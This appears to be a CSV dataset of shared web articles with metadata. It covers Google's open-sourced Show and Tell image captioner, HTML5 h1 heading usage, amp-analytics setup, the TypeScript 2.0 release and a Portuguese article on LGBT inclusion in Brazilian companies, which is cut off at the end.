1474975244,CONTENT SHARED,6915731723505426291,-1443636648652872475,-2939622877864380223,,,,HTML,https://research.googleblog.com/2016/09/show-and-tell-image-captioning-open.html,Show and Tell: image captioning open sourced in TensorFlow,"In 2014, research scientists on the Google Brain team trained a machine learning system to automatically produce captions that accurately describe images . Further development of that system led to its success in the Microsoft COCO 2015 image captioning challenge , a competition to compare the best algorithms for computing accurate image captions, where it tied for first place. Today, we're making the latest version of our image captioning system available as an open source model in TensorFlow . This release contains significant improvements to the computer vision component of the captioning system, is much faster to train, and produces more detailed and accurate descriptions compared to the original system. These improvements are outlined and analyzed in the paper Show and Tell: Lessons learned from the 2015 MSCOCO Image Captioning Challenge , published in IEEE Transactions on Pattern Analysis and Machine Intelligence . So what's new? Our 2014 system used the Inception V1 image classification model to initialize the image encoder, which produces the encodings that are useful for recognizing different objects in the images. This was the best image model available at the time, achieving 89.6% top-5 accuracy on the benchmark ImageNet 2012 image classification task. We replaced this in 2015 with the newer Inception V2 image classification model, which achieves 91.8% accuracy on the same task. The improved vision component gave our captioning system an accuracy boost of 2 points in the BLEU-4 metric (which is commonly used in machine translation to evaluate the quality of generated sentences) and was an important factor of its success in the captioning challenge. Today's code release initializes the image encoder using the Inception V3 model, which achieves 93.9% accuracy on the ImageNet classification task. Initializing the image encoder with a better vision model gives the image captioning system a better ability to recognize different objects in the images, allowing it to generate more detailed and accurate descriptions. This gives an additional 2 points of improvement in the BLEU-4 metric over the system used in the captioning challenge. Another key improvement to the vision component comes from fine-tuning the image model. This step addresses the problem that the image encoder is initialized by a model trained to classify objects in images, whereas the goal of the captioning system is to describe the objects in images using the encodings produced by the image model. For example, an image classification model will tell you that a dog, grass and a frisbee are in the image, but a natural description should also tell you the color of the grass and how the dog relates to the frisbee. In the fine-tuning phase, the captioning system is improved by jointly training its vision and language components on human generated captions. This allows the captioning system to transfer information from the image that is specifically useful for generating descriptive captions, but which was not necessary for classifying objects. In particular, after fine-tuning it becomes better at correctly describing the colors of objects. Importantly, the fine-tuning phase must occur after the language component has already learned to generate captions - otherwise, the noisiness of the randomly initialized language component causes irreversible corruption to the vision component. For more details, read the full paper here . Until recently our image captioning system was implemented in the DistBelief software framework . The TensorFlow implementation released today achieves the same level of accuracy with significantly faster performance: time per training step is just 0.7 seconds in TensorFlow compared to 3 seconds in DistBelief on an Nvidia K20 GPU, meaning that total training time is just 25% of the time previously required. A natural question is whether our captioning system can generate novel descriptions of previously unseen contexts and interactions. The system is trained by showing it hundreds of thousands of images that were captioned manually by humans, and it often re-uses human captions when presented with scenes similar to what it's seen before. So does it really understand the objects and their interactions in each image? Or does it always regurgitate descriptions from the training data? Excitingly, our model does indeed develop the ability to generate accurate new captions when presented with completely new scenes, indicating a deeper understanding of the objects and context in the images. Moreover, it learns how to express that knowledge in natural-sounding English phrases despite receiving no additional language training other than reading the human captions. We hope that sharing this model in TensorFlow will help push forward image captioning research and applications, and will also allow interested people to learn and have fun. To get started training your own image captioning system, and for more details on the neural network architecture, navigate to the model's home-page here . While our system uses the Inception V3 image classification model, you could even try training our system with the recently released Inception-ResNet-v2 model to see if it can do even better!",en
1474979679,CONTENT SHARED,-769212572760644334,361614354650880527,6721903785317982237,,,,HTML,https://webdesign.tutsplus.com/articles/the-truth-about-multiple-h1-tags-in-the-html5-era--webdesign-16824,The Truth About Multiple H1 Tags in the HTML5 Era,"Whether you're a webmaster or a web designer, there's a question you've most likely either asked or answered many times over the years. That question is, ""How many <h1> tags can I use per page, and how exactly should I implement them?"" There are generally two reasons this question is asked. The first and most common is for SEO purposes; ensuring content is formatted in the best way possible to aid search engine indexing. The second is technical correctness; ensuring that markup is written in accordance with the appropriate W3C spec. With the advent of HTML5 the answer to this question has significantly changed in both SEO and technical regards. It's now not only possible to have multiple <h1> level headings per webpage that will make sense to search engines, but in most cases it's actually the recommended course. However, because the HTML5 spec is not all that widely understood yet, there is still a lot of advice floating around, some even written very recently, based on the rules of pre-HTML5 web design. In this tutorial we're going to clear up some misconceptions. We'll take an in-depth look at what HTML5 means for <h1> tag usage, as well as how you can take advantage of the enhancements now available to create web pages that are more semantically rich and well-structured than ever before. The Pre HTML5 ""Single <h1> Tag"" Rule For a long time it was considered one of the cardinal rules of HTML and SEO that each individual page of a site should have one <h1> level heading, and one only. Additionally, the rule prescribed that this singular <h1> heading should denote the primary subject matter of the page. This rule was generally followed with the goal of helping search engines better understand the primary subject matter of each page, so they could determine their relevance to various search phrases, improve search engine accuracy and hence improve rankings for well-crafted sites. Let's consider an example pre-HTML5 business website. In this example site the business name is displayed in the header section on all pages, the homepage features a description of the business, and in another area of the site expert articles are published. In following the ""Single <h1> Tag"" rule, the homepage of this website has <h1> tags applied to the name of the business in the header section, indicating the business itself is the primary subject matter of that page. However, in an article published elsewhere on that same website, <h1> tags are removed from the business name in the header and instead applied to the article's title. This is done because the article title provides a more representative label for the primary subject matter of the page, which is now the article's content as opposed to the description of the business that was on the homepage. A pre-HTML5 version of this website would therefore be marked up something like this: Why Headings Matter: Document Outlines Despite the long-time heavy focus on <h1> tags, they were never an element that operated in isolation, independent of the rest of the document. There is a reason behind the importance of careful heading tag placement in both the HTML5 and pre-HTML5 eras, and that is the generation of document outlines . Document outlines are something akin to a table of contents for a website. They are automatically generated from the markup on any given webpage. Prior to HTML5, document outlines were generated from your use of heading tags <h1> through to <h6> . Every use of a heading would imply the beginning of a new section of content. Take for example the following html, noting the placement of <h1> , <h2> and <h3> tags, which will determine the document's outline: Pre-HTML5, the markup above would generate a document outline as follows: 1. (document) The proper use of peanuts 1. (h2) How to eat peanuts 1. (h3) Superior peanut eating methods 2. (h2) Incorrect application of peanuts The first <h1> element is considered the label for the entire document. The subsequent headings are considered the labels for sections of content within that document, forming a tree beneath it. The above example is simple enough, but in the wild webpages are rarely this simple. When we need more complex content presentation we run into the big problem with pre-HTML5 markup, and the reason it was previously necessary to use only one <h1> level heading per page. In the example above we have a single topic being discussed: ""The proper use of peanuts"". But what if this topic is being discussed on a page with multiple articles of equal importance, as you might see on a blog for example? Take this html with a second article displayed, (each article is wrapped in <div> tags): Pre-HTML5, this markup would have generated the following document outline: Now, even though there are two articles of equal importance on the page, the first article's heading ""The proper use of peanuts"" is still interpreted as the label representing the entire document simply because it is the first one encountered. This would thus indicate that the entire subject matter of the page is ""The proper use of peanuts"" even though the second article is about a totally different topic. The typical way to combat this was to create a catch-all heading with <h1> tags wherever multiple sections of content of equal importance were displayed, in an attempt to represent them all to the greatest extent possible. For example: Note the addition of the generalized <h1> tagged heading, and the demotion of each subsequent heading down one level. The following document outline would now be generated: Problems Caused by Pre-HTML5 Document Outlines This document outline, though it's the best that could be done pre-HTML5, presents some significant problems: The generalized label for the whole page dilutes relevance. We have the <h1> tagged ""Legume Literature Blog"" title acting as the label for the whole page, and yet the text of this heading gives only a generalized representation of the content. This dilutes the ability of search engines to interpret the actual subject matter on the page and in turn its relevance to search phrases. Separate articles are seen as subsections of a single piece of content. There is no way to distinguish the two articles on the same page as equally important and self-contained entities. They are both seen as a part of a single overall piece of content, even though they are not. Different markup is required in different site areas. Should a visitor view one of the articles by itself, as can be done on a typical blog, the markup would have to be reworked so the <h1> tags are applied to the article title instead of the site title, as I demonstrated with my example business website in the previous section. There are restrictions on the nature of the document label/site title. In many cases a site title, (which tends to play the role of document label even in HTML5), may not relate to a page's content in any meaningful way. For example, I might run a blog with the site title ""Kezz Says"" and it might display one article on HTML coding and another on cute puppies. In this case it would not make sense for the site title to be interpreted as representing either of these articles, so I would have to change the name of my blog. This can be a problem, particularly if a site wishes to brand itself with a name that may be memorable, but not necessarily meaningful. This is where HTML5 comes along to save the day and solve each of these problems. The HTML5 Document Outline Algorithm If you consider each of the problems just described above, they all have a common and somewhat simple root: The assumption that each web page is a singular document with a singular topic requiring only a singular label. The equally simple solution to these problems would come from the ability to indicate if a webpage had discrete sections, potentially with multiple topics each with their own meaningful label. If it were possible to specify that each article on a page was separate, this would make it possible to label them with meaningful headings that accurately represented their contents, and give each one the same weight of importance. If it were possible to make it clear when a site title was not representative of the page's content, the problem of diluting relevance would be solved. With a clear indication in place of the difference between the site title, articles and article titles, it would no longer be necessary to change markup from one area to another. A <h1> tagged site title could keep its <h1> tags throughout the site. And because it would be made clear if the site title didn't represent the article content on the page, it would be possible to set it to anything at all, no matter how abstract. HTML5 makes all these things possible through the introduction of its semantic elements and the HTML5 document outline algorithm. Key Aspects of the HTML5 Document Outlining Algorithm While the pre-HTML5 document outline was drawn purely from heading tags alone, the HTML5 document outline algorithm utilizes the following key aspects: Sectioning root : A sectioning root is a container that provides a scope for the discrete content sections that will be defined within it. Each sectioning root gets its own individual outline.The top level sectioning root of any page is formed by its <body> tags, so there is always an outline generated for any webpage, starting from the <body> tags and working through the sections it is broken into. Sectioning content : Each sectioning root is broken into a series of content sections. These sections are created by placing sectioning content element tags around discrete pieces of content. Sectioning content elements are nestable and semantic. The type that should be used depends on the nature of the content it will contain. (We'll discuss how to use each sectioning content element further on.) Heading content : Text-only labels for sections of content. In the absence of sectioning content tags, the presence of a heading tag will still be interpreted as the beginning of a new content section.. Understanding how these aspects of HTML5 are used is relatively straightforward, and the process typically goes much like this: The sectioning root of the document is formed by its <body> tags. Within that sectioning root, the document is broken into sectioning content, e.g. by wrapping articles with the <article> tags. Heading tags are placed into the content sections as required, with the first heading tag in any section acting as the label for that section. There are many other aspects to the HTML5 document outline algorithm. Extensive information on these is available on W3C . However, with just the aspects listed above, we are able to solve all the problems described in the previous section of this tutorial. Solving the Old Document Outline Problems Let's take another look at our ""Legume Literature Blog"", as it could be marked up using HTML5. The following simple modifications have been made: <!DOCTYPE html> added to invoke HTML5 <article> tags have been added wrapping each article, replacing the generic <div> tags Article headings have been changed from <h2> up to <h1> tags The other heading tags in each article have been adjusted up one level in kind A branded/non-meaningful site title is used Now the HTML5 document outline algorithm would give us the following: The first thing you may notice is the appearance of the (article) element in the outline, and next to those the headings for each of our articles. Note that in HTML5, <article> tags are specifically used to indicate ""a complete, or self-contained, composition in a document, page, application, or site and that is, in principle, independently distributable or reusable, e.g. in syndication. This could be a forum post, a magazine or newspaper article, a blog entry, a user-submitted comment, an interactive widget or gadget, or any other independent item of content."" (source: W3C ) The appearance of the (article) element next to our article headings, rather than the heading tags as we saw before, tells us these things are now occurring in the outline: Each article has been recognized as a self-contained piece of content with equal weight of importance to one another. The article headlines are now being correctly matched to the articles as meaningful labels that represent their subject matter. Because the articles are correctly labeled with their own headings, the site title is no longer being interpreted as representative of the content in those articles. This means that all the problems we outlined earlier in this tutorial have immediately been solved: Solved: The generalized label for the whole page dilutes relevance. We no longer have any dilution of relevance from generalized labels, as the label of each article is clearly associated with it. Solved: Separate articles are seen as subsections of a single piece of content. The page is no longer seen as one singular piece of content, because the presence of the article tags indicates where the page is broken into independent sections. Solved: Different markup is required in different site areas. Because all the <h1> tags used in the markup are now correctly interpreted, and we no longer have to worry about labels diluting relevance, we no longer need to apply different tags to the site title-it can remain tagged at <h1> level throughout. Solved: There are restrictions on the nature of the document label/site title. Because the site title is no longer interpreted as a label for the article content we're free to set it to anything we like. It no longer has to act as a ""catch-all"" representative for all the content on the page, so it can be an abstract or branded title that doesn't relate to the article content at all. Why Multiple <h1> Tags Are Correct You can also now see from the HTML5 document outline generated by our markup that it is perfectly fine to use as many <h1> tags as your document calls for; that is one per sectioning root or content section. You can also see from this example how it would be less correct to use only one set of <h1> tags in this example, and that multiple sets of <h1> tags more accurately represent the content. If you still had <h1> tags applied only to the site title, and <h2> tags applied to your article titles, the outline of your articles would be thrown out. This is because by marking up your article headlines with <h2> tags you are effectively saying they are level two headings, even though they are actually level one headings within the scope of the <article> section. In turn, the second level subheadings of your articles would necessarily be marked up with <h3> tags incorrectly setting them to level three, your third level headings marked up with <h4> tags and so on. It is permissible by the HTML5 spec to use lower level headings than <h1> to label a section, and sometimes you may want to for presentation reasons, such as displaying a smaller sized heading in a sidebar blogroll section. However, I would recommend doing this only in the case of minor, non-article/content sections of your site where it's not a priority for heading levels to produce a document outline that effectively forms a table of contents. The best thing to do in all cases is carefully consider the content at hand, and determine the best way to section and label it based on what you now know about the HTML5 document outlining algorithm. HTML5's New <h1> Usage Rules Yes, it's true. You can now use as many sets of <h1> tags as are required, via HTML5. But that doesn't mean they should be freely added in arbitrary locations. Just as there were rules of <h1> tag usage that came from old document outlines, so too are there now new rules based on the HTML5 document outlining algorithm. Here they are at a glance: Use one set of <h1> tags per sectioning root or content section. There should always be a <h1> level heading between the opening <body> tag and the first content section, to label the overall document. When a <h1> level heading is to be used to label a content section, it should be the first heading that appears in the section, because the first heading is always interpreted as the section's label. If a <h1> level heading is used to label a content section, any other headings used in that section should be H2 or lower in order to create an accurate document outline. As I mentioned above, section labels don't absolutely have to be <h1> tags. The HTML5 spec permits any heading tag to act as the label for a section, from <h1> through to <h6> . Again however, I always recommend using <h1> level tags to markup article content. But if you do decide to use a tag other than <h1> for a section label, just ensure you follow the same rules as listed above, replacing <h1> in each rule with your chosen tag. About Sectioning Content Element Tags There are only four sets of element tags you can use to denote content sections within your webpage, but they can be a little tricky to wrap your mind around at first. They are: The two you are likely to use the most are <article> and <section> tags. They are similar to one another, but with an important distinction. <article> tags should be used where a piece of content could be taken out of a page completely and still make sense by itself with no surrounding content. <section> tags, on the other hand, should be used for content that is grouped together according to a theme, but makes sense only in the context of the content surrounding it. For detailed examples on how to use each of these tags, take a moment to check out these W3C pages: <nav> tags are designed to indicate major navigation blocks on a webpage, such as a menu bar or pagination. They shouldn't be applied to regular links, only to significant sections that are wholly dedicated to navigation. <aside> tags could effectively be described as the ""everything else"" element for content that is neither article, section nor navigation. W3C prescribes this tag for use when something is tangentially related to the content around it, but is separate from the main content of the page, such as sidebars, blogrolls and so on. For more information on <nav> and <aside> tags visit: Quick Tip: Dealing With Taglines We now know that in HTML5 we can happily use <h1> tags on our site titles in every area of our sites. However, despite it being a common practice, technically speaking <h2> tags shouldn't be used for standalone subheadings or taglines. W3C has this to say: h1-h6 elements must not be used to markup subheadings, subtitles, alternative titles and taglines unless intended to be the heading for a new section or subsection. The reason for this is that the HTML5 document outline always interprets a heading tag as beginning a new section of content, whether sectioning content tags are wrapped around them or not. For a while there was a work-around to this whereby <h2> tags could be used for a tagline if they were grouped with the main heading inside a set of <hgroup> tags. However, the <hgroup> is being removed from the HTML5 spec and its use will cause code to fail validation checks. So now the best way to handle taglines is just to use <div> or <p> tags and apply CSS to make them look like taglines, achieving your presentation goal without negatively affecting your document outline. Further HTML5 Elements to Employ In this tutorial we've been focusing on <h1> tags in HTML5 and how the new document outlining algorithm works. For that reason I haven't touched on any HTML5 elements that are not assessed by the document outlining algorithm. However, I would be remiss if I did not point you in the right direction on a few of the most valuable HTML5 tags you can employ in your markup to make it even more semantically rich. The <main> Element The <main> element should be used once per page to indicate the main content area of that page. If you are displaying a group of articles, it would wrap around all those articles. For example: More information: The Main Element The <header> Element The <header> element can be used at the beginning of any sectioning root, or content section, to group introductory content for that section. You could use it to wrap your site title and tagline, or an article title and blog category. For example: More information: The Header Element The <footer> Element The <footer> element is basically the inverse of the <header> element, in that it can be used at the end of any sectioning root, or content section, to group supplementary content for that section. W3C recommends its use for items such as author information, links, copyright messages and so on. For example: More information: The Footer Element Wrapping Up In conclusion, let's take a look at our original business website example and see how it could now be marked up using what we have learned: This simple example shows just how easy it is to use an understanding of the HTML5 document algorithm to solve the old problems surrounding use of <h1> tags, and to ensure the content of your webpages is more accurately communicated than ever before. If you're still not sure how to set up your pages correctly, you can always hire a freelancer on Envato Studio to do it for you. Recommended reading Recommended tools Headings Map 2.0.5 for Firefox - ""The extension generates a documentmap or index of any web document structured with headings or with sections in HTML 5. It shows the headings structure, the errors in the structure (ie. incorrect levels), and it works as HTML5 Outliner too."" HTML5 Outliner for Chrome - ""This extension is using the HTML5 outline algorithm to create a table of contents. The table of contents is clickable and tries to highlight the heading/section in question after the jump.""",en
1474980213,CONTENT SHARED,9004099881383415529,-5639303336519418445,5907585385698005489,,,,HTML,https://analytics.googleblog.com/2016/09/how-to-set-up-analytics-on-your-amp-page.html,How to set up Analytics on your AMP page,"The amp-analytics component, on the other hand, is a powerful solution that recognizes many types of event triggers to help you collect specific metrics. Since amp-analytics is supported by multiple analytics providers , this means you can use amp-analytics to configure multiple endpoints and data sets. AMP then manages all of the instrumentation to come up with the data specified and shares it with these analytics solution providers. To use amp-analytics, include the component library in your document's <head> : And then include the component as follows (for these examples, make sure to specify your own account number instead of the placeholder): The JSON format is super flexible for describing several different types of events and it does not include any JavaScript code which could potentially lead to mistakes. Expanding the above example, we can add another trigger, clickOnHeader : For a detailed description of data sets you can request, as well as the complete list of analytics providers supporting amp-analytics, check out the amp-analytics documentation . You can also see more implementation examples in the Amp By Example site If you want to conduct a user experience experiment on your AMP pages, such as an A/B test, you can use the amp-experiment element. Any configurations done in this element will also be exposed to amp-analytics and , so you can easily do a statistical analysis of your experiment. There are still plenty of ongoing developments for AMP analytics to help you gain insights as you AMPlify the user experience on your site. Visit the AMP Project roadmap to see a summary of what the team is cooking up. If you see some features missing, please file a request on GitHub . Posted by Arudea Mahartianto, Google AMP Specialist",en
1474982283,CONTENT SHARED,-1876558460087500339,3609194402293569455,-1454522461531275738,,,,HTML,https://blogs.msdn.microsoft.com/typescript/2016/09/22/announcing-typescript-2-0/,TypeScript 2.0 is now available!,"Today we're excited to announce the final release of TypeScript 2.0! TypeScript 2.0 has been a great journey for the team, with several contributions from the community and partners along the way. It brings several new features that enhance developer productivity, advances TypeScript's alignment with ECMAScript's evolution, provides wide support for JavaScript libraries and tools, and augments the language service that powers a first class editing experience across tools. To get started, you can download TypeScript 2.0 for Visual Studio 2015 (which needs Update 3 ), grab it with NuGet, start using TypeScript 2.0 in Visual Studio Code , or install it with npm: For Visual Studio ""15"" Preview users, TypeScript 2.0 will be included in the next Preview release. The 2.0 Journey A couple of years ago we set out on this journey to version 2.0. TypeScript 1.0 had successfully shown developers the potential of JavaScript when combined with static types. Compile-time error checking saved countless hours of bug hunting, and TypeScript's editor tools gave developers a huge productivity boost as they began building larger and larger JavaScript apps. However, to be a full superset of the most popular and widespread language in the world, TypeScript still had some growing to do. TypeScript 1.1 brought a new, completely rewritten compiler that delivered a 4x performance boost . This new compiler core allowed more flexibility, faster iteration, and provided a performance baseline for future releases. Around the same time, the TypeScript repository migrated to GitHub to encourage community engagement and provide a better platform for collaboration. TS 1.4 & 1.5 introduced a large amount of support for ES2015/ES6 in order to align with the future of the JavaScript language. In addition, TypeScript 1.5 introduced support for modules and decorators, allowing Angular 2 to adopt TypeScript and partner with us in the evolution of TypeScript for their needs. TypeScript 1.6-1.8 delivered substantial type system improvements , with each new release lighting up additional JavaScript patterns and providing support for major JavaScript libraries. These releases also rounded out ES* support and buffed up the compiler with more advanced out-of-the-box error checking. Today we're thrilled to release version 2.0 of the TypeScript language. With this release, TypeScript delivers close ECMAScript spec alignment, wide support for JavaScript libraries and tools, and a language service that powers a first class editing experience in all major editors; all of which come together to provide an even more productive and scalable JavaScript development experience. The TypeScript Community Since 1.0, TypeScript has grown not only as a language but also as a community. Last month alone, TypeScript had over 2 million npm downloads compared to just 275K in the same month last year. In addition, we've had tremendous adoption of the TypeScript nightly builds with over 2000 users participating in discussion on GitHub and 1500 users logging issues. We've also accepted PRs from over 150 users, ranging from bug fixes to prototypes and major features. DefinitelyTyped is another example of our community going above and beyond. Starting out as a small repository of declaration files (files that describe the shape of your JS libraries to TypeScript), it now contains over 2,000 libraries that have been written by-hand by over 2,500 individual contributors. It is currently the largest formal description of JavaScript libraries that we know of. By building up DefinitelyTyped, the TypeScript community has not only supported the usage of TypeScript with existing JavaScript libraries but also better defined our understanding of all JavaScript code. The TypeScript and greater JavaScript communities have played a major role in the success that TypeScript has achieved thus far, and whether you've contributed, tweeted, tested, filed issues, or used TypeScript in your projects, we're grateful for your continued support! What's New in TypeScript 2.0? TypeScript 2.0 brings several new features over the 1.8 release, some of which we detailed in the 2.0 Beta and Release Candidate blog posts. Below are highlights of the biggest features that are now available in TypeScript, but you can read about tagged unions , the new , for functions, glob support in tsconfig, and all the other new features on our wiki . Simplified Declaration File ( .d.ts ) Acquisition Typings and tsd have been fantastic tools for the TypeScript ecosystem. Up until now, these package managers helped users get .d.ts files from DefinitelyTyped to their projects as fast as possible. Despite these tools, one of the biggest pain points for new users has been learning how to acquire and manage declaration file dependencies from these package managers. Getting and using declaration files in 2.0 is much easier. To get declarations for a library like lodash, all you need is npm: The above command installs the scoped package @types/lodash which TypeScript 2.0 will automatically reference when importing lodash anywhere in your program. This means you don't need any additional tools and your .d.ts files can travel with the rest of your dependencies in your package.json . It's worth noting that both Typings and tsd will continue to work for existing projects, however 2.0-compatible declaration files may not be available through these tools. As such, we strongly recommend upgrading to the new npm workflow for TypeScript 2.0 and beyond. We'd like to thank Blake Embrey for his work on Typings and helping us bring this solution forward. Non-nullable Types JavaScript has two values for ""emptiness"" - null and undefined . If null is the billion dollar mistake , undefined only doubles our losses. These two values are a huge source of errors in the JavaScript world because users often forget to account for null or undefined being returned from APIs. TypeScript originally started out with the idea that types were always nullable. This meant that something with the type number could also have a value of null or undefined . Unfortunately, this didn't provide any protection from null / undefined issues. In TypeScript 2.0, null and undefined have their own types which allows developers to explicitly express when null / undefined values are acceptable. Now, when something can be either a number or null , you can describe it with the union type number | null (which reads as ""number or null""). Because this is a breaking change, we've added a --strictNullChecks mode to opt into this behavior. However, going forward it will be a general best practice to turn this flag on as it will help catch a wide range of null / undefined errors. To read more about non-nullable types, check out the PR on GitHub . Control Flow Analyzed Types TypeScript has had control flow analysis since 1.8, but starting in 2.0 we've expanded it to analyze even more control flows to produce the most specific type possible at any given point. When combined with non-nullable types, TypeScript can now do much more complex checks, like definite assignment analysis. We'd like to thank Ivo Gabe de Wolff for contributing the initial work and providing substantial feedback on this feature. You can read more about control flow analysis on the PR itself . The readonly Modifier Immutable programming in TypeScript just got easier. Starting TypeScript 2.0, you can declare properties as read-only. Any get-accessor without a set-accessor is also now considered read-only. What's Next TypeScript is JavaScript that scales. Starting from the same syntax and semantics that millions of JavaScript developers know today, TypeScript allows developers to use existing JavaScript code, incorporate popular JavaScript libraries, and call TypeScript code from JavaScript. TypeScript's optional static types enable JavaScript developers to use highly-productive development tools and practices like static checking and code refactoring when developing JavaScript applications. Going forward, we will continue to work with our partners and the community to evolve TypeScript's type system to allow users to further express JavaScript in a statically typed fashion. In addition, we will focus on enhancing the TypeScript language service and set of tooling features so that developer tools become smarter and further boost developer productivity. To each and every one of you who has been a part of the journey to 2.0: thank you! Your feedback and enthusiasm have brought the TypeScript language and ecosystem to where it is today. We hope you're as excited for 2.0 and beyond as we are. If you still haven't used TypeScript, give it a try ! We'd love to hear from you. Happy hacking! The TypeScript Team",en
1474982976,CONTENT SHARED,6031953227014493100,-35428957105270993,2954312914497351516,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",MG,BR,HTML,http://epoca.globo.com/vida/noticia/2016/09/o-chefe-e-gay-e-dai.html,O chefe é gay. E daí?,"O técnico de laboratório de cinema Lucca Najar e o estagiário de comunicação Gael Benitez são transexuais masculinos. Ambos nasceram e foram registrados como pertencentes ao sexo feminino, mas se sentiam no corpo errado. Para evitar discriminação, comportaram-se como era esperado tradicionalmente de mulheres, até o início da vida adulta - Najar tem 25 anos, e Benitez 21. A história dos dois começou a mudar quando foram trabalhar e estudar no Centro Universitário Una, de Belo Horizonte, empresa premiada no ranking ÉPOCA GPTW neste ano. Os dois encontraram um ambiente favorável para assumir sua real identidade de gênero. Najar foi contratado ainda como mulher em 2012 e hoje sente orgulho ao ver seu nome social masculino no crachá, nas folhas de prova e na lista de chamada. ""Fui bem recebido por colegas, professores e funcionários"", afirma. O mesmo aconteceu com Benitez. ""Percebi que o Una era um lugar tranquilo para iniciar minha transição"", afirma. >> Elektro, Google e Sama lideram entre as melhores empresas para trabalhar em 2016 EXEMPLAR Lucca Najar, Roberto Reis e Gael Benitez (da esq. para a dir.) , do Una. O programa de combate ao preconceito na empresa já desperta interesse acadêmico (Foto: Alexandre mota/Nitro/ÉPOCA) Gente educada ajuda muito, mas o ambiente acolhedor do Una resulta não apenas da boa vontade de professores e funcionários. Trata-se de uma decisão da empresa e de efeitos do projeto Una-se Contra a LGBTfobia, concebido em 2011 e coordenado por Roberto Reis, professor do Instituto de Comunicação e Arte (LGBT é a sigla para lésbicas, gays, bissexuais, travestis e transexuais). Reis é gay, mas em empregos anteriores nunca havia falado disso, por receio. No Una, o medo desapareceu. ""É importante e libertador poder me posicionar"", afirma. O projeto inclui ações educativas para todos que circulam pelos 12 campus da instituição. Os professores participam de oficinas sobre diversidade de identidade e orientação sexual. Em 2015 e 2016, o Una recebeu o Prêmio Direitos Humanos e Cidadania LGBT, promovido pelo CellosMG, ONG responsável pela organização da Parada do Orgulho LGBT na capital mineira. Carolina Marra, reitora do Una, reconhece a dificuldade de combater o preconceito numa instituição com mais de 30 mil alunos. ""O primeiro passo é admitir que há preconceito, depois assumir que isso não é legal e reagir como instituição"", diz. Esse tipo de ambiente ainda é raro no mundo corporativo, mesmo entre as empresas dispostas a passar pelo crivo do GPTW. Mas há uma transformação visível em curso. Neste ano, no grupo das empresas premiadas, nove profissionais, oito do Google e um da farmacêutica AstraZeneca, optaram por não se identificar como homens nem como mulheres. Na ficha demográfica de gênero dos funcionários nessas duas organizações, pela primeira vez ÉPOCA GPTW usa a opção ""outros"". >> ""Quero diversidade social, de gênero, raça e idade"", diz a presidente da Microsoft Mesmo entre as empresas interessadas em lidar com o tema, há dúvidas sobre como proceder. ""Ainda há polêmica em questões simples - qual banheiro usar? Colocar ou não na mesa de trabalho um porta-retratos com a foto do companheiro ou companheira?"", afirma Reinaldo Bulgarelli, secretário executivo do Fórum de Empresas e Direitos LGBT e sócio-diretor da consultoria Txai, que atua em responsabilidade social. Bulgarelli criou o fórum em 2013 e lançou uma carta pública com dez compromissos para a promoção dos direitos humanos de LGBTs. Apenas 33 empresas a assinaram, até o momento. Organizações interessadas em enfrentar o tema podem buscar referências onde já se acumula alguma experiência. Ben Boyd, executivo-chefe para América Latina e Canadá da agência de comunicação e consultoria Edelman, sugere um roteiro. Primeiro, conseguir o apoio de líderes-chave da organização. Depois, definir um executivo que assuma a responsabilidade sobre o programa. ""Vale a pena conversar com outras empresas que tenham políticas de inclusão e grupos de funcionários LGBTs, para aprender as melhores práticas e evitar erros"", afirma. Boyd é gay e criou em sua empresa o programa Edelman Equal. PORTAS ABERTAS Camila Crispim, desenvolvedora de software na ThoughtWorks. Ela cansou de ouvir ""papinho preconceituoso"" - e achou uma organização que leva a questão a sério (Foto: Leo Caldas/ÉPOCA) Entre as premiadas no GPTW, há diferentes iniciativas e experiências. A consultora sênior Paula Miyuke Tomiyoshi, de 36 anos, ainda não tinha feito sua transformação física quando ingressou na desenvolvedora de software SAP, há sete anos. Vestia-se como homem. Soube da política da SAP para funcionários LGBTs quando conversou com seu gerente sobre a vontade de mudar de gênero. ""Ele me tranquilizou e ofereceu a opção de eu trabalhar em casa durante a transição"", diz. Ela aceitou. Por nove meses, dividiu-se entre as tarefas do escritório, o tratamento com hormônios e cirurgias de feminilização. No período em que Paula esteve fora, a SAP tomou providências para tornar seu retorno o mais natural possível. Houve conversas na equipe e o psicólogo que cuidava dela falou com o pessoal e tirou dúvidas sobre transexualidade. A empresa enviou uma carta a clientes enfatizando seu apoio à funcionária. Apesar dos cuidados, Paula se sentiu discriminada por alguns colegas na volta ao escritório, já como mulher. ""Mesmo que a empresa tenha uma política, o preconceito é uma questão individual"", afirma. O programa de diversidade da SAP, chamado de Pride@SAP, deverá ser ampliado, e a empresa faz uma pesquisa com os fornecedores. ""A SAP tem uma posição clara sobre o assunto. Queremos trabalhar com companhias comprometidas com a diversidade e a inclusão"", diz Marcelo Carvalho, diretor de RH. Outra empresa de tecnologia da lista ÉPOCA GPTW, o Google tem vários comitês de diversidade criados pelos funcionários. Um deles é o Gayglers, liderado por Zen Junior, de 30 anos, analista de suporte. O grupo se reúne quinzenalmente e promove palestras internas e externas, eventos e apresentação de vídeos sobre LGBTs. Zen escolheu o Google para trabalhar há quatro anos quando soube do Gayglers. ""Sou realizado no Google, faço o que gosto e ainda posso militar pela causa LGBT"", afirma. ""O Google defende que as pessoas sejam elas mesmas. Não aceitamos preconceito"", diz Monica Santos, diretora de RH. >> GPTW 2016: As empresas que mostram o jeito certo de enfrentar a crise Companhias que toleram discriminação no ambiente de trabalho arriscam-se, no mínimo, a perder bons profissionais. Gabriel Brasileiro, de 30 anos, supervisor de comércio exterior, é gay e começou a trabalhar aos 18 numa multinacional sem abertura para esse tipo de diálogo. ""É muito difícil representar o tempo todo, ouvir piadas e ficar calado"", afirma. Por isso, procurou emprego na Monsanto, pois sabia que a empresa tinha uma política de promoção da diversidade. Foi contratado em dezembro de 2013 e assumiu a orientação sexual com tranquilidade. Chefia uma equipe de 12 pessoas e se sente respeitado por todos. Carlos Brito, diretor de RH para a América do Sul da Monsanto, acha que as empresas têm papel crucial em ajudar a sociedade a se tornar mais tolerante. ""Elas têm de ouvir, entender os desafios e se comprometer com o tema"", diz. A falta de empenho da maioria das companhias em lidar com o tema prejudica as equipes e o indivíduo. A analista de recrutamento e seleção Nathalia Carneiro tem 26 anos e é bissexual. Em dois empregos anteriores, teve de esconder seu namoro com outra mulher. Diz que, quando descobriram, não conseguiu mais avançar na carreira. Decidiu trabalhar na empresa de tecnologia Movile porque soube da receptividade da empresa e da política de oferecer chances de desenvolvimento independentemente da orientação sexual de seus profissionais. ""Fui acolhida e sou respeitada"", afirma. Profissionais dos grupos LGBTs que trabalham em ambientes preconceituosos gastam energia preciosa tentando não 